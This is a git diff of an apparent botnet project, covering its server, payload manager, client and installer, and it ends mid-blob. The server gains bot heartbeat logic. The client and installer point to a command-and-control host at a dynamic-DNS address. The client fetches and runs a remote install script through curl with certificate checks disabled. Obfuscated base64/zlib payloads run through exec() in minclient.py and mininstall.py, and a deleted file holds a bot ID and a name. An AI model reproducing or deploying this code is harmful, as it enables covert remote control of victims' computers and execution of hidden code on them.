diff --git a/requirements.txt b/requirements.txt index 25bbb4b..2154ebc 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,25 +1,24 @@ -blinker==1.4 -cffi==1.9.1 -click==6.6 -cryptography==1.7.1 -enum-compat==0.0.2 -eventlet==0.20.1 -Flask==0.12 -Flask-Login==0.4.0 -Flask-Mail==0.9.1 -Flask-SocketIO==2.8.2 -Flask-SQLAlchemy==2.1 -greenlet==0.4.11 -idna==2.2 -itsdangerous==0.24 -Jinja2==2.8.1 -MarkupSafe==0.23 -pyasn1==0.1.9 -pycparser==2.17 -pyminifier==2.1 -pyOpenSSL==16.2.0 -python-engineio==1.1.0 -python-socketio==1.6.2 -six==1.10.0 -SQLAlchemy==1.1.4 -Werkzeug==0.11.15 +blinker>=1.4 +cffi>=1.9.1 +click>=6.6 +enum-compat>=0.0.2 +eventlet>=0.20.1 +Flask>=0.12 +Flask-Login>=0.4.0 +Flask-Mail>=0.9.1 +Flask-SocketIO>=2.8.2 +Flask-SQLAlchemy>=2.1 +greenlet>=0.4.11 +idna>=2.2 +itsdangerous>=0.24 +Jinja2>=2.8.1 +MarkupSafe>=0.23 +pyasn1>=0.1.9 +pycparser>=2.17 +pyminifier>=2.1 +pyOpenSSL>=16.2.0 +python-engineio>=1.1.0 +python-socketio>=1.6.2 +six>=1.10.0 +SQLAlchemy>=1.1.4 +Werkzeug>=0.11.15 diff --git a/server/botnetclasses.py b/server/botnetclasses.py index 15d6c4d..c9ce369 100644 --- a/server/botnetclasses.py +++ b/server/botnetclasses.py @@ -11,10 +11,12 @@ import time import uuid import urllib.request +import socket class BotNet(Thread): INPUT_TIMEOUT = 1 + BOTCHECK_TIMEOUT = 10 PRINTOUT_JSON = 'printout' ERROUT_JSON = 'errout' STDOUT_JSON = 'stdout' @@ -164,12 +166,18 @@ def run(self): ''' Parse information coming from bots, loops ''' + last_botcheck = time.time() + seen_dict = {} + sent_heartbeat = False while True: with self.connlock: bots = list(self.onlineConnections.values()) while len(bots) == 0: self.conncon.wait() bots = list(self.onlineConnections.values()) + for bot in bots: + if bot not in seen_dict: + seen_dict[bot] = True with self.app.app_context(): # Waiting for bot input, rescan for new bots every INPUT_TIMEOUT # TODO maybe use pipe as interrupt instead of timeout? @@ -248,10 +256,29 @@ def run(self): for filename in fileclose: self.filemanager.closeFile(user, filename) + seen_dict[bot] = True + except IOError as e: # Connection was interrupted, set to offline print(e) self.setOffline(user) + except Exception as e: + print(e) + + # Send heartbeats to all bots. If not response within a few loops then offline them. + if self.BOTCHECK_TIMEOUT/2 < (time.time() - last_botcheck) and not sent_heartbeat: + for bot in bots: + bot.heartbeat() + sent_heartbeat = True + + if self.BOTCHECK_TIMEOUT < (time.time() - last_botcheck): + # Check all bots for connectivity + for bot in bots: + if not seen_dict[bot]: + self.setOffline(bot.user) + last_botcheck = time.time() + seen_dict = {b: False for b in bots if b.online} + sent_heartbeat = False def getLog(self, user): ''' @@ -459,6 +486,8 @@ class Bot: FILE_DOWNLOAD = 'down' LS_JSON = 'ls' ASSIGN_ID = 'assign' + HEARTBEAT = 'heartbeat' + HEARTBEAT_TIMEOUT = 3 def __init__(self, sock, host_info, socketio, lastonline=int(time.time()), online=True): self.sock = formatsock.FormatSocket(sock) @@ -665,6 +694,22 @@ def requestLs(self, filename): else: self.opqueue.append((self.requestLs, (filename,))) + def heartbeat(self): + with self.datalock: + if self.online: + json_str = json.dumps({Bot.HEARTBEAT: True}) + old_timeout = self.sock.gettimeout() + self.sock.settimeout(Bot.HEARTBEAT_TIMEOUT) + try: + self.sock.send(json_str) + return True + except socket.timeout as e: + return False + finally: + self.sock.settimeout(old_timeout) + else: + return False + class BotLog: STDOUT = 0 diff --git a/server/botpayloadmanager.py b/server/botpayloadmanager.py index 70049fe..5481ddc 100644 --- a/server/botpayloadmanager.py +++ b/server/botpayloadmanager.py @@ -37,7 +37,7 @@ def parsePayload(self, payloadpath): payloadlines = f.readlines() payloaddict = dict(name=payloadpath[len(self.payloadpath) + 1:-len(BotNetPayloadManager.PAYLOAD_EXT)], description='', - vars={}) + vars={}, varorder=[]) try: if payloadlines[0].strip() in BotNetPayloadManager.COMMENT_DELIMIT: for i in range(1, len(payloadlines)): @@ -55,6 +55,7 @@ def parsePayload(self, payloadpath): defval = var[eqindx + 1:].strip() var = var[:eqindx].strip() payloaddict['vars'][var] = {'description': rhs} + payloaddict['varorder'].append(var) if defval is not None: payloaddict['vars'][var]['default_value'] = defval else: @@ -67,14 +68,15 @@ def parsePayload(self, payloadpath): def getPayloadText(self, payload, args): if payload not in self.payloaddescriptions: return None - vars = self.payloaddescriptions[payload]['vars'] + vardict = self.payloaddescriptions[payload]['vars'] + varorder = self.payloaddescriptions[payload]['varorder'] vartext = "" - for reqvar in vars.keys(): + for reqvar in varorder: if reqvar in args and len(args[reqvar]) > 0: arg = json.dumps(args[reqvar]) vartext += '{}={}\n'.format(reqvar, arg) - elif 'default_value' in vars[reqvar]: - arg = json.dumps(vars[reqvar]['default_value']) + elif 'default_value' in vardict[reqvar]: + arg = json.dumps(vardict[reqvar]['default_value']) vartext += '{}={}\n'.format(reqvar, arg) with open(self.payloadfiles[payload], "r") as f: payloadtext = f.read() diff --git a/server/client/.id b/server/client/.id deleted file mode 100644 index 9d62cd4..0000000 --- a/server/client/.id +++ /dev/null @@ -1,2 +0,0 @@ -49f20d3b-1c68-442c-ab24-40eba0d5b06f -Sumner \ No newline at end of file diff --git a/server/client/client.py b/server/client/client.py index c097802..4c4b2b3 100644 --- a/server/client/client.py +++ b/server/client/client.py @@ -21,8 +21,9 @@ __version__ = "1.2.1" -HOST = '50.159.66.236' -#HOST = 'localhost' +HOST = 'renmusxd.ddns.net' +# HOST = 'potatos.local' + PORT = 1708 HOSTINFOFILE = '.host' IDFILE = '.id' @@ -44,6 +45,7 @@ FILE_FILENAME = 'fname' CLIENT_STREAM = 'cstream' CLIENT_CLOSE = 'cclose' +HEARTBEAT = 'heartbeat' PRINT_BUFFER = StringIO() @@ -242,12 +244,14 @@ def closeFile(self, filename): if filename not in self.fileclose: self.fileclose.append(filename) - def getAndClear(self, bytesize=4096): + def getAndClear(self, bytesize=None): """ Get items from data buffers up to bytesize total and clear :param bytesize: total number of bytes (approx x2) to be written :return: dataremaining (bool), datawritten (bool), writedict (dict) """ + if bytesize is None: + bytesize = ByteLockBundler.PACKET_MAX_DAT specialremaining = False specs = {} with self.slock: @@ -464,6 +468,9 @@ def pollSock(): recvbytes = sock.format_recv() recvjson = json.loads(recvbytes.decode('UTF-8')) + if HEARTBEAT in recvjson: + bytelock.writeSpecial("heartbeat", b'\x01') + # Special LS command if LS_JSON in recvjson: filedict = {} @@ -618,10 +625,11 @@ def hasInternetConnection(): except: return False + if __name__ == "__main__": if "-install" in sys.argv: # Legacy - os.system('python -c "$(curl -k https://{}/static/install.py)"'.format(HOST)) + os.system('python -c "$(curl -k https://{}/client/install.py)"'.format(HOST)) else: hostaddr = HOST hostport = PORT diff --git a/server/client/install.py b/server/client/install.py index c42caf9..a06d628 100644 --- a/server/client/install.py +++ b/server/client/install.py @@ -4,7 +4,7 @@ import sys import platform -HOST = '50.159.66.236' +HOST = 'renmusxd.ddns.net' PORT = 1708 HOSTINFOFILE = '.host' IDFILE = '.id' @@ -76,12 +76,14 @@ def install_and_run_osx(host, port): script_path = os.path.expanduser(loc) if not os.path.exists(script_path): try: - curlproc = subprocess.Popen(["curl", "-k", "-o", script_path, "https://"+HOST+'/static/minclient.py'], stdout=subprocess.PIPE) + curlproc = subprocess.Popen(["curl", "-k", "-o", script_path, "https://"+host+'/client/minclient.py'], + stdout=subprocess.PIPE) (out, err) = curlproc.communicate() if err is not None: print(err) raise Exception(err) print("[+] Script written to:\t{}".format(script_path)) + break except Exception as e: print(e) else: diff --git a/server/client/minclient.py b/server/client/minclient.py index 7fa70d8..ab3b2e3 100644 --- a/server/client/minclient.py +++ b/server/client/minclient.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 import zlib, base64 -exec(zlib.decompress(base64.b64decode('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'))) +exec(zlib.decompress(base64.b64decode('eJzFGmtv20byu34FwzuAZK0odi/oFUY3gOPIra6ObVhK2ztXIEhpZTGhSJak7PiK3m+/mdk3RTlO7oAGiEzuzszuzM57+ZdnL7ZN/SLNihe8uPOqh3ZdFoNsU5V16zXl4gNv9ds2repywZtGjzzox1I/VXnSrsp6o4HW2zbL1Vubbbh6ft+Ypdp1zZNlVtxqtLbeLvTaadLwb15q4DpZ8DRZfNDAjV7glrdVAlts64fjgbeqy403bWsgPLn0JIh6H/CPC161CiwrdwDi+I7XTVYWccz8o9HXoyN/8MPldMaCmhebbfNxOVoui2ZU8DYYXF1ez9jR3w+/JZDJxdnl2eR8zILRumxgevJGvmbLYDCdvZlcsKBpgeVgMP7p5JwF/C7Jg8Hp2zcsWGwA5sfJ+Xl8dX15yoIPWQ5TSDaeXZ9cTM/G1ywAKRTNitfB4GQ6nXx/EU8AE1jPboHk9Id3szeXP+MaIP9leQ9j59P4H9NLGMqbYICbiRHi/PIE8AQEDU5n1+OTtyxYwRHwZCNHT88vp7D71SIvGy7H8Ofi5C0OF8kGRk/PJ+OLmaawUBTkuKSxkDR+GJ9cz16PT0Cca57UbcoTFOP1BEBfvztDJtVJhNHg+t3FxeTiezart3xwPZ7OAFm8FKBtIMly2zLQyJF4VKO8rtUoPA5Qg9lFWfDBIgdZeWcAlbRTUnRQhOnkX+P49T9n4yl7OfCux6c/xTjEvv7qq6O/DbwlX3lxnBVZG8dhw/PVEE0kAkQP30b4xvBHDcAabfrQ8oalQSDwV7Ri3PBiKUhsmluikK289qHiIb4zBqLDQQ/e8HnEi0W5FJM7sLQCQetdjJB+kuehsKNRBdYSBq+yYJjzgtCiA0mL5w0n5DrJGu6NyShA50MfADzQcjA/7pViRY/W8soaDdSPHJZqvrgjloidtmyTPF4mbcJcUeyRDXIqwMUr/1jxRcuXcZP9m9MRbpKP+CzYRzbMEtEr+yBH5hiFVABLkDYYN8d7MOaI0VlcyHBbGClqktHN4VyeE70f2Gvs2xRi3K+znHvyNASp75xlxdYB1xIiHS3J2SGtFRXPE6VTlK1BJUK7p3taFgWsBs/elIOf40uf0M3+D5imIem6crFPxUuK5Wcdyhecyhccy+efi7EHC9eWQ0d5FdCNe3hIqubtti40mZtjB2QujIecoTEbc8xiIpKO6qSqwKLfAJlzmARIcL7ns0vyTC/7PBOsiK/CORjSMMzkVBhpbtBv6RA8whXM5KIslhmqiQVxqsZCjS99QUL71Fughe+zdm0WOpa6RA5M7Sl6xuhdofRASD9HiqZhjaP0PMmacpXBu9nZ82+DYQABsax5EAkVynsIA40uWeNTDeEl30/YmLOm+4q5hzYSRya13xHt6D6R56FP6QCXFDKFnAaehUy3VVs+IlScfnUolmj5pmKK3M0xTs3N2siUnsS543nfxsCTZKsHsTWl0Eh4YF7NEodSp2G+fTA63bNVierIi7FDqeyvQfgosdfbYplzPN+rk9Mfx7P47ckv8RtIGPbG41UnIFMuIAzVPYxQ2IUFCOnBEwArSEha0JcdMBjTQEDqUyANeIIsycWKv/+hhlegRX1j5AzYzVyPUaqxsnON1aNW3OyZRRHe11nLpyQqIcX7jtOwxDiSBn6vxGITAL73ElDi3U/gSopWkkBpHe+IXaMLYWrkMYm8D1Uexj7EM5DutpLaA8+Yydr7N8q7sg1NgVKozYrO6Vk2rsduFMq8qxdkXGnO9sEPcPYRwQtVEizs336jt7+jgDdiWwKt4+YiK0yhrFxJfZGIiFZHRDSmeNTUtf87KZanORQJYnXaJ6YAmMmr5FkNelnj4TgtoCE7LmXkOhTUFSGPmm8ScCjFLTtLIBGQE9Ic+4S5wlxY4BKzilFbvqMP/KEJTWAjt4dk0edhMq39oHMqFtl59B1TvMioRAQcGPY4CYGmqDxnehfuQvuYQkiHkV02q7IKLTSVjfZyF6kwtSN4Kuo8j0yeijrXAchoqPjARVyeFCIVN3WtSShH8EkCAgnHNa7tAT+Jb9ZmO97vKYtHe2wKzUKU1EIdvU5k0BbXsDxrhC83/kSenT5fbZ5wuBpRHImJQvtcUh8fXU40WqT0fi81kTBEmIPZ2+rzGF2XAXpT3nHbZey6XlLMDsRjTgfzOSMD0Xwapd+8lJllhzFzLJaLN/hSjeD/rmclHYH/PTN9RyRWsY2wd+2+wZ4VsCYxVqeP8jt2GBnz1wASASNOywsL/HHPSrqMUWqZLSCLhh9tn0w9DKWVij9D2cuRj1JCQ8NUYzE4NCagn4Zy60y4WFOIOQwPLW6GeodWWBX8mCz2CdjCXOxwJZs1FjQdG7Y+Y+CA4cNoud1UTaipmDKA8ruR3TFSiPu4kgn0VfKQl8nyPEuP+7JkPLvcSZTVCFMPdvIJ7yyO8SmOdUJGneIqadfUBeAf+WLbJmnOFUDNf9vCIWGxKzuQJqLi/LbhNZPdWhQZvquEdFvh7js5WYrb0oGZtq7mWAkmDlsZJWmDf0P1DgU3+BQirc1bHokBAVfZmGljVpg2lNg5BD+np+E1ll0oOsXOIZKC623pvWt66iEyh6wkPnKSuUBBBkO5TKeuFRRQWihblNdqWyxUbKbwUVbSC9MegjoNoqTxVlZVi8cEgv60CTsVLhW3Mnr3MiFzar00Ikjoz13VpW6yUMdbY/YntUPsyhWJ29VprSpoRk8hGBBoILOxxPItnn4tK3NpbzI9kW9Cp4XV/Yy81z/XGFDqXsMj6RB5bXn4xvS45X86tYy40JBxwQRHwJExW1U2nrjW8GYPFVZFZW1yfhKHAMNl0GeEeDvB8GphiHcfDG8xhikU/UtKrodJTpapM22hBbIZLzPvddJMCuC84K1pKkpNVNv2kMowqRdrNPpJsSpDnRbINTBxx1JBJ+/25DOGv0rnaEty5sD3Qv9APEW+bPLobEHtH3/EerC0iUV6TmwNf4byzodZtz/DFORBUhGb7vPfirCAaJi4PRuJP6F8OzmLJxfj2VC+Ti9Pf5TXJRINWy8owZAOhs4kklMNJc6sEQ3gI5NViYlnLA1+/Xh4GKg8icEE2GNSxWoPMl9pmN0ANcN7Iw2qT41JVqP0QdiUUDTdU/bAu6i6Tl+5CI8Q+jfP5p5/gDU6jw78Xwtf+mFLleh2EEorzqvw6FDoqFgYGRjSugB3m5dpknt4lTPwdODqeBNCgSUqEQnzLGUmKIY6AA48c2XEHPsNb/Jkky4Trzl2nZtpU0RDgyzm5oYg5i1PI6haF5qclhqSM5GV+ZCJrkHDRfSiCMOCoqUDt8Gq8h4Ud83zHOMyINCtl7m/HV1RZLgxOPMhXUU6MJOrsUrFeoapuOkML+6XrCfy+v/xUYUR9JEmVFXm+RWAyD6UaCx0nY2Ia4qSvNgAYmDEOKju/jyRcosZEWyEufSgozABlgUBtYCJDO4ljHbdUQqkPgw00jNAOtaFjxXDBQuiDOzwhi2yL+YNbzD/fN6QBZe3KZ0jgkvblGxZA+LC1gwI66VEq0zfy/7KIs84VATpe3FF2yckHU/QCcoa1UqSyTVGGgCdmPDRaPlNqJG65ZB2pvpSGkOsIqFE1Jup+fry2h+SBz4KNDV55d5DCxmnMCQqeTFA6fQTcllF60bSn8v923lt1iwzkfXia6Qip5Yf/MsbXAxbBQ6omsZMA4MQTgAHeiPvy6zQ0MNVpDOSvNHLuAtRtoR5tM6nFd3IAbmDoi10GdCAQ0kCE/ANHJ39bjoQjmxvFPKcCeIaREauy6lJkMQ/+nbEhtFzZgbLSlDT+sGO/pZA5OpR1M3YH9WivPGHmrJWIP0RSI8K9Ri8J2wcvxcJI2vkT3f+0rjsL1h6OMLzSpbLmmkFdzDm6lKXACldhVAc7gM+mksRWKpo6iL7I52hf+9jaaT0RR+6GpBJjNqfzl/6gDCWq/0pu5T6NrkkfbPypH2Z0mm5zZfkomnQa0tInuwtO1vYodFJs+Cf+nxG1eB0HvrDoZ6zgIRXC1bDzR8RqPjASYkyWzqCFK9yd9nSFaAzqbPL/5fUxL4+U14gHPpG67PMjsxIUtSyIzLz3uLdxVvl22ZtiqLTt32nstgsqe7Q5AFsbqYSMEwJMmqqPGtD31NcF/y+3xVIRL0yfo7WszRd7ILTsNsMrpvHWcM4kplHWfF7YHLw4Ng8/+H42d4qAumnTH/up4I8YGjvtnuWbarMfm+hr9hQgHaVjxJwvm7bE7wp/dbMOhhzHYy7V2Aq3VHsqXeredtp2tynKm6sMC/aRZBBxVEK6zs+Nf/Ny24zW2ZAqa7xaAUpRAXvioQ+4Hu6PAi8RxhPEoT+/sUF6Gnlo7HYHx72ObOVyS2d+0HPTjpJ9N30SzU+I/BsqbIlV9zO6soaFVUl0H0dPGv7O+KlrN3ZeCdpN6s40up19s4Xn08/RIUh+TL2O5Jd2p3DUN+e9qyxuzFVGZih/72r0LOO/CbOriR6HXk3fdLJ2sr5Jqt7SyCvY0QbvlE3mLvVi9yGhJP9SNP0OBwdyU6joOOmivJCAiBa6ujsdW+qJCNI5AjTuMeATd2tUTDFewKKuK1s4xS2thfeFpTevfG5eo/dITxnawjXsN+JChUjolWk+4og1323C3AA6gP1EWhTyzdhBPXxm6S+zwoqeKkPGFxOf/GCAw26SRbYDAzxs8KDoH/ma7AQ1XgkIjsLHUAwNpg1z3kitEn2knUfktjZ31WVMVf2EIE7zEmx/Rj6t2V5C6nUotz4w28PrVsioZKmpnHa1xn2qdGG45gxP45R++LYPyZ5+c9BFdskz33qOoMJwqneIQ0s5gRrgbgO8p4vPP+v4WJb597zD966bavm+MWL3/94IRzVC0lpVD1EfiDDOWXi6AuV8HQVgBMDK9nH3jS8p7I3Pei7x7Fz5Mi0VXpS/tq3bkPyrIDgeIPupc6qkGrahgIVtVhoOozmTgdiseaLD7RRmlbFCQ3r4kRMqVJEs6Zx9TBhaFzjCMVasvq0u/G97Itkt8u4Ss0dllGMhrswUqwLp6TTOrXkXlCnTu5sUN8wIKtDxSZ20+1GcrYKLedMXwHIqEBUS3G9eBe6F43DG/d9fqB0Mxr8F52D2ds='))) # Created by pyminifier (https://github.com/liftoff/pyminifier) diff --git a/server/client/mininstall.py b/server/client/mininstall.py index fcc7966..0be75d6 100644 --- a/server/client/mininstall.py +++ b/server/client/mininstall.py @@ -1,4 +1,4 @@ import zlib, base64 -exec(zlib.decompress(base64.b64decode('eJyVVm1z4jYQ/u5fofMXmwJ2ks6l1xucGxrIHVMuMIGbtpMwjLAFqDGSR5JDmJu7396V/J7AteVDImtXz749uxLdJVwotCEqwVJaNPvk5Uqmq0TwkFQyeSiXSYzVmoud9WkymwfO2zPv/O2v3uWld/HzpWNNJ3fz4PyXs3dGPLq9mdyMxsPA8bZcKscaDfJPGjnWbN6/m3+ZLqfjESC5Tu/D8y5GT0RIyllgn3tnNiIs5BFlm8D+Mr/pvrM/XDlt54E5yOm9GUyu539Nh+ARlQpNv/w2Hl0ju+v7/SSJie8P5gNksBFA+f7w1kZwzt4qlbz3/f1+72Gt6IV8p3WlPxU8IUIdxoDXhTNepCK7MpjZafhXCSMaqvLrQcGq90gOV2O8InHP18umUCoBYV2B7dyLmK4EFgfKIvLc83Pxa8A/uHgEyYAKEiouDj/A/prso28/gIJwNwLv+mKT7ghT8hgUFgLX914YOKgtZ8sEq+0xQ01lGQqaqJPKWtV/aa5w9S5lfTXmODrmoxIp8Y8cmiks1IgpIp7w0RpQkG2IuLo86/nF+jXM74Qk/Zg+kf9ju7/CLOJsmrXRR8HT5N+P9/wGi3q+YVz+3Sr7ZTy5ngX3jj87SEV2/jgjjj/GKQu3/Y0updM5IR5gsuNMy78fP7iwBv3h58nt8rb/GRr1OD894xh08PXdaDovHPruf04lDX06TxmRfnHCSw7GnBdBe634s+/lGAcwNrqFqMbj5c24/zFwupRJhePYsSKyRvnHEjK5FClbcvns6jHS0XOo9d5CCVBIufb9Tws0ynSBUogzNJn9abe0nIdBNcy8KbQ3c+/t/ZaGW7tjZ/S1Fx2pIp6qhupoOgQEF7Y7RIhWoAV6UuxSRkOsiAtSukYgQ1QixhW65YyAU0gQlQqGbnAsiYWUOOjNWqcEQH2N60UEZhtxnVStu++cVsvTPZFoYPIckkSdOFfTyxMwNUpIK71/UF+/2Z4e0Fi5tdMtUK91YKC9tRDooZiHkGpUq6U2XNfl0tP/PfKcQC1SSYQLhwBQZ0CHXikALaRbO6vLhIokIBSmIj5VFS2DonQf9R9ud2ooHTO0JUx